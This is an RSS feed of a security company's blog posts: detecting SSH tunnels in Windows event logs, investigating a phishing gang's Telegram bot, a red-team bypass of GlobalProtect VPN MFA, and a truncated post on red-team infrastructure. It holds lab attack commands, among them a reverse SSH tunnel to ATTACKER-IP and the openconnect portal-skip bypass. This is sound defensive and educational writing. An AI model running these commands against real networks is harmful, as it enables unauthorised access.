<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[CYESEC - Medium]]></title>
        <description><![CDATA[For more current and technical security insights be sure to follow CYE on Twitter and LinkedIn where you can keep up-to-date with the latest news, findings and happenings in the cyber security world. - Medium]]></description>
        <link>https://medium.com/cyesec?source=rss----8af97e3d540f---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>CYESEC - Medium</title>
            <link>https://medium.com/cyesec?source=rss----8af97e3d540f---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 01:39:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/cyesec" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Behind the Veil: Identifying Stealthy Tunnels in Windows Event Logs]]></title>
            <link>https://medium.com/cyesec/behind-the-veil-identifying-stealthy-tunnels-in-windows-event-logs-6f0ba928110?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/6f0ba928110</guid>
            <category><![CDATA[windows-event-logs]]></category>
            <category><![CDATA[rdp]]></category>
            <category><![CDATA[ngrok]]></category>
            <category><![CDATA[ssh-tunnel]]></category>
            <dc:creator><![CDATA[Hod Felber]]></dc:creator>
            <pubDate>Mon, 07 Aug 2023 12:34:14 GMT</pubDate>
            <atom:updated>2023-08-07T12:34:13.951Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*1-25QWT1fb2eOdaV70Ud_A.png" /></figure><h4>What are tunneled connections? How to create them and how to detect them in Windows event logs?</h4><h3>General</h3><p>In recent times, a concerning trend has emerged in the realm of cyber attacks — attackers are increasingly leveraging native Windows services (known as Living off the land attacks or LoTL attacks). This approach allows them to exploit legitimate system components, making their malicious activities harder to detect. One particularly effective technique used by these attackers is the utilization of tunneled connections, which serve as a covert means to conceal suspicious behavior. In this discussion, we will explore the concept of tunneled connections, the principle of “packet encapsulation” behind them, and the challenges they pose in identifying and blocking malicious IP addresses.</p><h3>Understanding the concept of a tunneled connection</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A2UOq0w4d3qx5u7qxHod5Q.png" /><figcaption>Tunnled RDP flow/conversation structure</figcaption></figure><p>To grasp the concept of a tunneled connection, let us consider the following scenario: Prisoner A seeks to communicate with a friend outside the confines of the jail. However, any form of communication beyond immediate family members is strictly forbidden. In order to circumvent this restriction, Prisoner A devises a solution where he entrusts his family with relaying his message to his friend. Through this “tunneling” process, communication between Prisoner A and his friend is successfully established.</p><p>The metaphor of the prison draws a parallel between the rules governing prisons and the firewall rules that restrict outgoing traffic, meticulously scrutinizing the source and destination of each message (“packets”). In this analogy, the prisoner encapsulates his messages with headers, ensuring that his family receives a complete packet that includes the necessary routing information to reach his friends.</p><p>When considering the specific type of detection I wish to address, we delve into the realm of “tunneled connections” within our networks. Similar to web browsing, it is the client who initiates this type of connection. However, in the hands of an attacker, such conversations can serve as a means to conceal their illicit activities. It’s worth noting that a tunneled connection can accommodate multiple connections, resembling the functionality of a VPN. A VPN, in fact, represents one form of tunnel that provides additional capabilities alongside channel encryption between the client and the VPN server. In this article, I aim to explore two distinct methods of establishing a tunnel between the victim’s machine and the attacker.</p><h3>Tunneling combined with port forwarding</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*tFtr7pJjNk2JqKc8aJlqQw.png" /><figcaption>The connation done through the tunnel, only loopback sniffing will reveal the traffic</figcaption></figure><p>When an attacker employs a tunneled connection using tools like OpenSSH, PuTTY, or ngrok, they often combine it with port forwarding. Port forwarding serves as a mechanism that enables the user to redirect traffic from one socket to another, irrespective of whether these sockets reside on the same machine or not. One common application of port forwarding is exposing a service behind NAT to the internet by configuring the router/firewall accordingly. In this scenario, a packet destined for a specific port arrives, and the firewall dutifully redirects it to the intended endpoint.</p><p>When an attacker utilizes a tunnelled connection, the connection itself is initiated by the victim’s machine, establishing a tunnel to the attacker. Consequently, any traffic passing through this tunnel becomes invisible to packet inspection devices. If all traffic is directed through this tunnel, the only visible communication in a PCAP would be the single conversation occurring between the victim’s machine and the attacker.</p><p>By leveraging the combination of an encrypted channel and port forwarding, attackers can expose a listening port on the victim’s side without detection. In the event that a connection is initiated to a service on the victim’s machine, the observed traffic would appear as originating from a random port towards the listening port. For instance, if a host is listening on port 445 for SMB connections, the captured connection would be identified as<em> CLIENT-IP:RANDOM-PORT &gt;&gt; HOST-IP:445</em>. However, in the case of a tunneled connection, the only visible connection would be from the host to the machine running the service that enables tunneling. As an example, the observed connection might appear as <em>HOST-IP:RANDOM-PORT &gt;&gt; ATTACKER-IP:22 </em>in the context of an SSH server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tZCf9I6uhhq5g0ZfrgOALA.png" /><figcaption>First an SSH connection is made from the compromised machine and then the attacker uses it as a tunnel.</figcaption></figure><h3>What windows event logs can tell?</h3><p>Certain Windows event logs can provide indications of a tunneled connection under specific circumstances. Typically, when a network service records an event with a source IP field that matches either the host IP itself or the loopback address, it strongly suggests the presence of a tunneled connection. Ordinarily, when someone logs into such services, it signifies remote access originating from a separate machine, and the source IP field in the log should reflect the connection’s origin. However, if the source IP field is the same as the loopback address or the host IP address, it indicates that the server is essentially connected to itself. Connecting to a network service like SMB (Event ID 5140/5145) or RDP (Event ID 1149) from the same machine is generally unnecessary and raises suspicion.</p><h3>Detection Rules Summary</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*alZ1AxUIQ4t0FzIee7GC1g.png" /><figcaption>Example of a log that indicates a tunneled SMB connection</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*ljvPItfdSbCzNkK14LSWDw.png" /><figcaption>Example of a log that indicates a tunneled RDP connection</figcaption></figure><p>To summarize the article into detection rules:</p><p><strong>RDP/SMB detaction rules:</strong></p><pre>EventID in (5140, 5145) AND SourceAddress in [127.0.0.1, ::1, $INVESTIGATED_HOST_IP]</pre><pre>EventID == 1149 AND SourceNetworkAddress in (127.0.0.1, ::1, $INVESTIGATED_HOST_IP, ::%16777216)</pre><p>However, please note that events 5145 and 5140 may require enabling through group policy. Nonetheless, do not let this hinder your detection efforts. Event ID 4624 is enabled by default for successful logins. This event records logon types, where Logon type 3 indicates a network connection, 7 represents an unlock, and 10 denotes RDP connections. When the logon type is equal to 3, 7, or 10, and the IP Address field is the loopback address, it strongly indicates a connection through a tunnel.</p><blockquote>Important: When the logon type is equal to 2, it is normal to have 127.0.0.1 in the IP address field. Pay attention to the logon type!</blockquote><p><strong>Event ID 4624 Detection Rule:</strong></p><pre>EventID == 4624 AND LogonType in (3, 7, 10) AND IPAddress in (127.0.0.1, ::1, $INVESTIGATED_HOST_IP)</pre><p>Event IDs to search for similar indicators in the Source IP address (or equivalent):</p><p><strong>Security.evtx:</strong></p><ul><li>4624 — An account was successfully logged on. (logontype 3, 7, 10)</li><li>5156 — The Windows Filtering Platform has permitted a connection.</li><li>5140 — A network share object was accessed.</li></ul><p><strong>Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational.evtx:</strong></p><ul><li>1149 — User authentication succeeded</li></ul><p>RemoteDesktopServices-RDPCoreTS /Operational:</p><ul><li>131 — The server accepted a new TCP connection from the client</li></ul><p><strong>TerminalServices-LocalSessionManager/Operational:</strong></p><ul><li>25 — Remote Desktop Services: Session reconnection succeeded</li></ul><blockquote>Note: Some RDP-related events may contain the keyword “LOCAL” in the IP field, which is a natural behavior and does not necessarily indicate a connection through a tunnel.</blockquote><p>Here are the steps to try it yourself! Please note that this is not a recommendation to enable it on your network.</p><p><strong>Enable logging of event ID 5140 on the “victim” machine.</strong></p><ul><li>Press <em>Winkey + R &gt; Type “gpedit.msc” &gt; Go to Computer Configuration/Windows Settings/Security Settings/Advanced Audit Policy/System Audit Policies…/Object Access/Audit File Share &gt; Check all the checkboxes.</em></li></ul><p><strong>Start an SSH connection with port forwarding to the attacker machine. (Assuming you have already configured an SSH service)</strong></p><pre>ssh user@ATTACKER-IP -R 4450:localhost:445</pre><p><strong>SMB connections can only be made to destination port 445, so let’s create port forwarding on the attacker’s machine.</strong></p><pre>sudo ssh user@localhost -R 445:localhost:4450<br>#Starting to listen on a well-known port requires high privileges.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*8tVAb8iNQRaYA04Ybw-teQ.png" /><figcaption>Listening ports table on the attacker’s machine</figcaption></figure><p><strong>Mount an SMB share; this is where the magic happens. 😊</strong></p><pre>sudo mount -t cif -ouser=USERNAME //127.0.0.1/C$ /mnt</pre><p><strong>Check event logs on the victim’s machine.</strong></p><h3>Bonus fact</h3><p>A while ago, I investigated a compromised server, but I struggled to identify the initial access point to the machine. Among the multitude of RDP connections logged in the Windows event logs, a specific entry grabbed my attention. It displayed the source IP address as <em>“::%16777216”</em>. Curiosity led me to conduct a quick Google search, which revealed that this source IP address is often associated with the usage of ngrok. However, since there was no concrete evidence of ngrok being used in this case, I decided to dig deeper and conduct further research. As a result, I discovered that this source IP address might also appear in other RDP tunneled connections. The inital access was made by drop and execute such a tool from another comporomised machine.</p><p><em>Written as part of the CYE “</em><strong><em>CyberTalks</em></strong><em>” series, to share personal knowledge gained from our real-world experience.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f0ba928110" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/behind-the-veil-identifying-stealthy-tunnels-in-windows-event-logs-6f0ba928110">Behind the Veil: Identifying Stealthy Tunnels in Windows Event Logs</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering a Message Thread Between Hackers Targeting Israeli Citizens]]></title>
            <link>https://medium.com/cyesec/uncovering-a-message-thread-between-hackers-targeting-israeli-citizens-ba8b922ed1a5?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/ba8b922ed1a5</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[scam]]></category>
            <category><![CDATA[phishing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mor David]]></dc:creator>
            <pubDate>Tue, 06 Jun 2023 11:50:28 GMT</pubDate>
            <atom:updated>2023-06-09T15:28:35.286Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*dO2TWQFvY1CjzVq1j8A5aw.png" /></figure><p>It is a known fact that civilians often fall prey to SMS phishing scams. Hackers try to take advantage of unsuspecting people, especially during the busy holiday season when message volumes grow significantly.</p><p>My investigation got underway when someone posted a fake text message from an anonymous sender on a Facebook cybersecurity group. I knew I had the proper training to uncover malicious actors, so I decided to follow this lead and see where it took me.</p><p>The Facebook post revealed a screenshot of the phishing attack, which directed the recipient to a payment request for a supposed DHL shipment from Israel. I decided to investigate further, in hopes of shutting this campaign down before recipients who were less security savvy than the one who posted this warning would fall for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*8DSIgJwq6lwtwCrnEigeTQ.png" /></figure><h3>The Investigation</h3><p>After taking a moment to check the link to the Hacker’s website, I exposed a directory listing that led me to a Webshell file. A Webshell file is a malicious script that allows the user to perform remote code execution, read files, etc. Hackers often use them as an entry point to compromise web servers and launch additional attacks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UEXaIZMaj8ZEbRb36ThAQA.png" /></figure><p>By using the Webshell, I was able to reveal the source code of the campaign and figure out where the sensitive information was about to be sent. I also found that the attacker was storing IDs, full names, and credit card information in a telegram bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gvYonsqw0EzfcYmh4dpSdw.png" /></figure><p>By using <em>bot token</em>, I could read what people had sent to the Telegram bot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*duOIAO2-B7kytstVtk1vOQ.png" /></figure><p>But this was not all I found. After digging a little deeper I discovered that JSON data contained a message thread between the actors responsible for this phishing attack (pictured above). Each message contained the First name, Last name, Username, Language and Epoch time of a specific user. The word “kanka,” which appears throughout the communication chain, actually refers to “best friend” in Turkish.</p><p>After looking at the final messages in the thread, I was able to discern that the attackers were not done and that they may be planning more phishing attacks in both Dubai and Israel.</p><p>Offensive security specialists can learn a lot from internal communication between malicious actors. Some examples include phone numbers that appear owned, and credit card details — such as the ones pictured below which were found in this specific chain.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCrjABArnxFUcF6D0Kz34g.png" /></figure><h3>The Findings</h3><p>Attackers usually run multiple phishing campaigns simultaneously. Unaware that offensive teams can read their communication, they message each other revealing useful information to offensive security specialists.</p><p>In order to continue tracking the attackers’ communication automatically, I wrote a mini-script using Python that continuously checks for updates from the Telegram Bot. It retrieves updates by making a GET request to the API endpoint and stores the response in a JSON format. Here it is:</p><pre>import time<br>import json<br>import requests <br>telegram_domain=&quot;https://api.telegram.org/&quot;<br>telegram_bot=&quot;botXXXXXXXXXXXXXXXXXX&quot;<br>count=0<br>outfilename=&quot;XXXXX.txt&quot;<br>while 1==1:<br>    r = requests.get(telegram_domain + telegram_bot + &quot;/getUpdates&quot;)<br>    logs = json.loads(r.text)<br><br>    for line in logs[&quot;result&quot;]: <br>        line = str(line)<br>    <br>        f = open(outfilename,  &quot;r&quot;)<br><br>        if line not in f.read():<br>            z = open(outfilename, &quot;a&quot;)<br>            print(line)<br><br>            try: <br>                 z.write(line+&quot;\n&quot;)<br>            except :<br>                print(line) <br>            z.close()<br><br>    f.close()<br>time.sleep(60*60)</pre><p>A couple of days after the message was posted to Facebook, I noticed that the attackers sent a list of Australian phone numbers and a phishing kit from DHL Australia. I was surprised to see that this kit included a new telegram bot and email address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FjbE58R7vVyUr7RaoI3acA.png" /></figure><p>It wasn’t long before the attackers sent a new HTML file which looked like it was a phishing campaign targeting Norwegian citizens and email addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*Qvs9Ku08JLOQJp32hgqz5g.png" /></figure><h3>Conclusion</h3><p>To combat SMS and email phishing, I collected as much information as possible about the attack. I then forwarded this information to relevant organizations, including law enforcement agencies to help them combat future attacks of this kind.</p><p>By collecting and sharing information about phishing attempts, offensive security specialists and organizations can work together to reduce attacks and minimize their impact.</p><h3>Preventative Measures</h3><p>As a general rule, be vigilant and always double-check the authenticity of text messages before taking any action.</p><p>Start by exercising caution if the source of the SMS is suspicious. Keep in mind that messages are not always from the entities they claim to be from. If you are unsure of the source, do not to click on any links in the message. Rather, open the application or official website of the organization and search the information — such as the shipping number, access code etc. that you were given upon purchase — if there are any outstanding payments it will show up there! This way, you can be sure that you’re interacting with a real entity and not being scammed.</p><p>Also keep in mind that if the message you received is valid and not a phishing attempt, it will likely appear as a notification or pop-up on your screen when you enter the official website or application. This is another way to assess the credibility of the SMS you received.</p><h3>Disclaimer</h3><p>All the events and investigations described in this piece date back to 2021. The suggestions, methodology, and tactics presented here, however, are up-to-date.</p><p><em>Mor David joined </em><a href="https://cyesec.com/"><em>CYE</em></a><em> as a Cyber Security Expert and Red Teamer. With more than 4 years of experience, Mor specializes in internal and external assessments, writing code and is an experienced Bug Bounty Hunter.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba8b922ed1a5" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/uncovering-a-message-thread-between-hackers-targeting-israeli-citizens-ba8b922ed1a5">Uncovering a Message Thread Between Hackers Targeting Israeli Citizens</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[No Portals Needed]]></title>
            <link>https://medium.com/cyesec/no-portals-needed-79995d8f7e62?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/79995d8f7e62</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mfa-bypass]]></category>
            <category><![CDATA[global-protect]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Chen Levy Ben Aroy]]></dc:creator>
            <pubDate>Mon, 24 Apr 2023 13:00:21 GMT</pubDate>
            <atom:updated>2023-04-30T12:09:06.371Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04eeAM35DqADE0urwPmT8Q.png" /></figure><h4>Abusing a misconfiguration to bypass Palo Alto GlobalProtect VPN multi-factor-authentication.</h4><h3>Introduction</h3><p>The adversary mindset is a must-have quality for offensive operators in a Red Team. Every assessment brings its own limitations and “trophies.” The operators have to align with the environment’s limitations such as: secure tiering models, cutting-edge endpoint detection and response solutions, etc. Having the ability to adapt and embrace these so-called “obstacles” let the team members operate in the best and most creative ways possible to achieve control over critical assets and environments.</p><p>In a recent assessment, as in any other Red Team engagement, it started with the reconnaissance phase. During this phase, we gather internet-facing assets that are associated with the customers’ organization. After collecting and analyzing the recon data, we realized that the attack surface was pretty narrow, with no exploitable versions of internet facing software, and social engineering was reserved as the last resort. Some assets we found were determined as GlobalProtect VPN portals. After multiple tries of connection and authentication, it was determined that the authentication to the GlobalProtect portal was enforced with multi-factor authentication. As this was our only way to gain a foothold in the organization’s internal environment, we decided to further investigate the GlobalProtect interfaces.</p><h3>GlobalProtect VPN Basics</h3><p>Palo Alto’s GlobalProtect VPN is based on HTTPS requests and responses and XML data sets of configurations. The VPN has two main components that are engaged by an end user: the <strong>portal</strong> and the <strong>gateway</strong>. The portal’s job is: first, to act as a web-server that hosts the GlobalProtect’s client for Windows and MacOS. Second, it provides the official Palo Alto’s client configurations and the list of available gateways. The gateway’s purpose is to provide the raw SSLVPN tunnel we know and love, to secure the end user session to the enterprise.</p><p>The official Palo Alto’s client’s flow is:</p><ol><li>Login to the portal</li><li>Get a configuration and a list of gateways</li><li>The gateway is selected automatically or by the user’s manual selection</li><li>Login to the gateway</li><li>Provide Host Information Profile (HIP) report</li><li>If all goes right, connect to VPN and secure session</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/843/1*KMQcy2JExHJxpf9mBZycVQ.png" /><figcaption>GlobalProtect connection flow (Source: docs.paloaltonetworks.com)</figcaption></figure><p>When trying to connect to the customer’s environment with the official client, we were prompted for an MFA token. But what if we tried to connect to the gateway, while bypassing the portal?</p><p>TL;DR <strong>It seems that enforcing MFA is crucial in both the portal and gateway as these are independent components</strong>.</p><h3>Diving In to the Authentication Flow</h3><p>When first connecting with the <strong>official</strong> GlobalProtect’s client, we see the first POST request being sent to the portal by its URL which points to /global-protect/prelogin.esp</p><p>The requests will be appended with the client’s environment variables such as: ”kerberos-support”, ”client-os”,“os-version”, “ipv6-support”, etc.</p><p>The server will then respond with a “PHPSESSID” cookie and an XML data-set with the status of the request, and if successful, it will also attach the login labels for the client, such as: “Enter MFA token” or “Enter Password.”</p><figure><img alt="First request made by the official GlobalProtect client" src="https://cdn-images-1.medium.com/max/1024/1*O6YXLoR3FkHefBNegFiBSg.png" /><figcaption>First request made by the official GlobalProtect client</figcaption></figure><p>After the user enters credentials, the client will send the next request to /global-protect/getconfig.esp, sending the same information as the previous request with the credentials attached to it.</p><p>If authentication is successful, the server will send an XML data-set that includes: the server configuration, version, the client’s host information to collect, and if it exists - custom checks to perform. Custom checks are special compliance checks created by the VPN administrators, such as special registry keys the machine has to set to be compliant. Also included in the response is the list of gateways and their configurations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-enzJq4XnpiNDxpjRR0ybQ.png" /><figcaption>The server’s response to the second request results in a list of gateways and other configuration variables</figcaption></figure><p>The next request aims for the gateway, and the same authentication sequence as when the portal begins, but this time to the gateway’s endpoint: /ssl-vpn/prelogin.esp.</p><p>The pre-login phase is the same as with the portal, sending the client’s environment variables to the server. The server responds with a status, the authentication form’s labels and sets a “PHPSESSID” cookie.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NunEXBGj7pndk8GGy3bbxQ.png" /><figcaption>A successful request to the gateway yields a Success status and login labels</figcaption></figure><p>After receiving a session ID and authenticating, the next request is what differentiates between the portal and gateway authentication. The request is sent to /ssl-vpn/login.esp, with the user’s credentials appended, and in response the server sends multiple untitled arguments that look like: MTU, DNS domain, the “authcookie” that will be used in the next request, and more configuration variables.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UxiqP30zcyTvOdFkqbt0jQ.png" /><figcaption>The login request to the gateway results in the server responding in multiple unknown arguments</figcaption></figure><p>The client then parses the XML data set correctly and append these variables, including the “authcookie”, to its next request to /ssl-vpn/getconfig.esp. The server responds with a response status and more configuration variables, but this time these are all titled and more variables are sent, such as ciphers to use, protocols of the gateway, preferred tunnel IP to use, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pPBhdPOKNlmUzSf8Ggyk7g.png" /><figcaption>The request contains the “authcookie” received in the last server response (in red) and results in multiple configuration arguments</figcaption></figure><p>The final phase is a GET request to /ssl-tunnel-connect.sslvpn, with the user name and “authcookie” appended. This initiates the VPN session with a server response of “START_TUNNEL”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pHzPFBjhYacRIVZgn3vfeg.png" /><figcaption>A successful connection was made and a tunnel interface was set up</figcaption></figure><h3>One Misconfiguration Away from Bypassing MFA</h3><p>As we saw in the previous chapter, the VPN sequence relies on two independent components that require two separate authentication flows. <br>Because these are independent, each of the authentication sequences could be engaged manually. This means that if we already know the gateway’s information, there is no need to pass-through the portal to get a list of gateways, we could only authenticate once, with valid credentials, and still be able to get a VPN connection.</p><p>In this recent assessment, we found that <strong>an MFA token is requested by the portal only</strong>, while the gateway asks for domain credentials. The IT department and Palo Alto GlobalProtect developers, counted on their in-house client use only, with no external adaptation in mind. While not enforcing MFA at the gateway is safe when using the official client, it is not safe when using other open-source or self-built clients. This is the part where it is also important to mention that this is caused by a misconfiguration only, rather than a vulnerability in Palo Alto’s VPN solution.</p><p>Luckily, the guys from <a href="https://www.infradead.org/">InfraDead</a> already did their research on GlobalProtect while they developed the open-source VPN client <a href="https://www.infradead.org/openconnect/">OpenConnect</a> which supports multiple VPN vendors and technologies, which among them is Palo Alto <a href="https://www.infradead.org/openconnect/globalprotect.html">GlobalProtect</a>. In their documentation they elaborate:</p><blockquote>“GlobalProtect VPNs actually contain two different server interfaces: portals and gateways. Most VPNs have one portal server and one or more gateway servers; <strong>the server hosting the portal interface often hosts a gateway interface as well</strong>, but not always. The portal interface mostly sends centrally-imposed security/lockdown settings for the official client software to follow. <strong>The only information sent by the portal that’s clearly useful to a VPN client like OpenConnect (which tries to give full control to the end user) is the list of gateways</strong>.</blockquote><blockquote>Some GlobalProtect VPNs are configured in such a way that the client must authenticate to the portal before it can access the gateway, <strong>while with other VPNs no interaction with the portal is necessary</strong>. In order to replicate the behavior of the official clients, OpenConnect first attempts to connect to the portal interface of the specified server.</blockquote><blockquote><strong>If</strong><strong>--usergroup=gateway is specified (or, equivalently, </strong><strong>/gateway is appended to the server URL, e.g. https://vpn.company.com/gateway), then OpenConnect will attempt to skip the portal interface and connect immediately to the gateway interface</strong>. This is useful if the GlobalProtect VPN portal is misconfigured, such as by not offering the desired gateway server in the list it provides.”</blockquote><p>This OpenConnect feature was magical to find as it saved us expensive research and coding time.</p><h3>No Need for Portals Here…</h3><p>Because the portal and the gateway were running on the same interface, there was no need to find other gateways (such as other ports on the same server or other external assets).</p><p>We used the OpenConnect client to bypass the portal and connect to the gateway first:<br>openconnect --protocol=gp --user=user_name https://vpn.company.com<strong>/gateway</strong></p><p>The /gateway endpoint probably does not exist on the server, though it is discarded while the client runs and only serves as a flag so it will start communicating the /ssl-vpn/ endpoint rather than the /global-protect/ ones.</p><p>The VPN client prompts us for domain credentials:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*vKtbizXO5BZ5A_QcYbs8iw.png" /><figcaption>Connecting to the GlobalProtect gateway, prompts us with domain credentials only</figcaption></figure><p>Success! We are successfully connected to the internal network!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3pyq0ngPTOUJ-KpuzhhCag.png" /><figcaption>Connection to the VPN is successful, though there is no connection to some internal machines</figcaption></figure><p>In this assessment, although it was possible to connect and communicate with the organization’s domain controllers, we couldn’t communicate with many services and domain machines as we could from the official client. After researching the different behaviors between different operating systems and clients, we realized that a valid HIP report should be submitted. The OpenConnect developers, here too, were genius enough to automate a shell script that creates a fake HIP report. We copied the one from our Windows machine (By entering to the settings pane of the official client, in the Troubleshooting tab, click the “Collect Logs” button. It will create a GlobalProtectLogs.zip file in the User directory. Inside the compressed folder the HIP report could be found as pan_gp_hrpt.xml”)<br>to our ../openconnect/trojans/hipreport.sh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwJBxr-OAlZn2mpcMDEgkQ.png" /><figcaption>Copied a benign HIP report from a Windows machine</figcaption></figure><p>Trying to submit our fake report:<br>openconnect --protocol=gp --user=username --csd-wrapper=trojans/hipreport.sh <a href="https://vpn.company.com/gateway">https://vpn.company.com/gateway</a> and trying to reach the segmented service:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BoO5CD0aR0UTDPTD0qa4Zw.png" /><figcaption>HIP report was submitted successfully and connection to segmented resources is now available</figcaption></figure><p>We successfully bypassed both MFA and machine segregation!</p><p>From here, connecting to Active Directory, and further exploitation of the organization’s internal environment was possible.</p><h3>Quick Fix</h3><p>Mitigation of this misconfiguration is quite easy:</p><ol><li>MFA should be enforced on both the portal AND gateway(s)</li><li>Monitor direct SSLVPN connections to the gateway</li><li>Separate the portal and gateway(s) to different interfaces and ports</li><li>If possible, allow SAML authentication only</li></ol><h3>Summary</h3><p>As Red Team operators, we always aim to give our customers an added value. Every assessment has its own obstacles, but being extra vigilant when everything seems secure goes a long way. At first, it seemed like there was no external asset to attack and MFA was enforced on every interface exposed to the internet, including the GlobalProtect VPN. However, diving deeper into the interface revealed that <strong>relying on a “peace-time” user-interaction is dangerous</strong>.</p><p>Although GlobalProtect’s client is safe and could not be altered to be used differently, other VPN programs can be. The portal and gateways are independent components, which means we can authenticate each component individually, while not enforcing MFA on the gateway could lead an attacker to a foothold in the internal enterprise environment.</p><p><em>Written as part of the CYE “</em><strong><em>CyberTalks</em></strong><em>” series, to share personal knowledge gained from our real-world experience.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79995d8f7e62" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyesec/no-portals-needed-79995d8f7e62">No Portals Needed</a> was originally published in <a href="https://medium.com/cyesec">CYESEC</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building a Modern Red Team Infrastructure]]></title>
            <link>https://medium.com/cyesec/building-a-modern-red-team-infrastructure-e5501784a287?source=rss----8af97e3d540f---4</link>
            <guid isPermaLink="false">https://medium.com/p/e5501784a287</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[infrastructure]]></category>
            <category><![CDATA[attack]]></category>
            <category><![CDATA[assessment]]></category>
            <category><![CDATA[cyber]]></category>
            <dc:creator><![CDATA[CYE]]></dc:creator>
            <pubDate>Thu, 23 Feb 2023 16:57:32 GMT</pubDate>
            <atom:updated>2023-04-27T08:57:38.900Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKM8uJC1Qe0n8Nj0HzaCbw.png" /></figure><p>As companies become more aware of the importance of increasing cybersecurity and incorporating red teaming evaluations into their advancing security practices, their capabilities to build security features into their products grow too. This leads companies that have adopted advanced security practices like red teaming assessments to utilize multiple security tools that automatically respond to potential attacks by identifying and blocking known malicious activity.</p><p>These tools may include:</p><ul><li>XDR/EDR products that are used to monitor the behavior of processes and provide an automated response. The higher the security maturity level of the company, the more prevalent these tools are across computers and servers and the better their utilization by security teams to detect patterns and signs of an attacker’s activity.</li><li>Web proxies and firewalls that monitor domain traffic activity, including SSL interception.</li><li>NDR products that monitor suspicious activities in the internal network.</li></ul><p>These companies with mature security practices usually also have a dedicated team of security experts whose job it is to continuously search for ways to improve the company’s security posture. Red teams servicing mature companies must constantly upgrade their tools and techniques, moving beyond the readily available or commercial tools out there, and creating custom tools that will allow them to continue providing value.</p><p>Here are a few common initial access methods used by malicious attackers or red teams:</p><ul><li>Password spraying from several IPs using tools such as CredMaster against SSO/VPN/VDI/cloud infrastructure provider. MFA can help protect against this type of attack and should be enabled across all users and services.</li><li>Simple MFA prompts (such as the ones that ask for “Accept” or “Deny” approval) from the target’s country of residence still put users at risk of compromise. This type of attack may be circumvented by disabling simple MFA prompts across the organization.</li><li>Evilginx coupled with blocking the IPs of automated defensive scanners still does the trick and prevents your domain from being blacklisted (bonus points for using expired domains), and works even better with SMS phishing (Smishing). The effect of this attack can 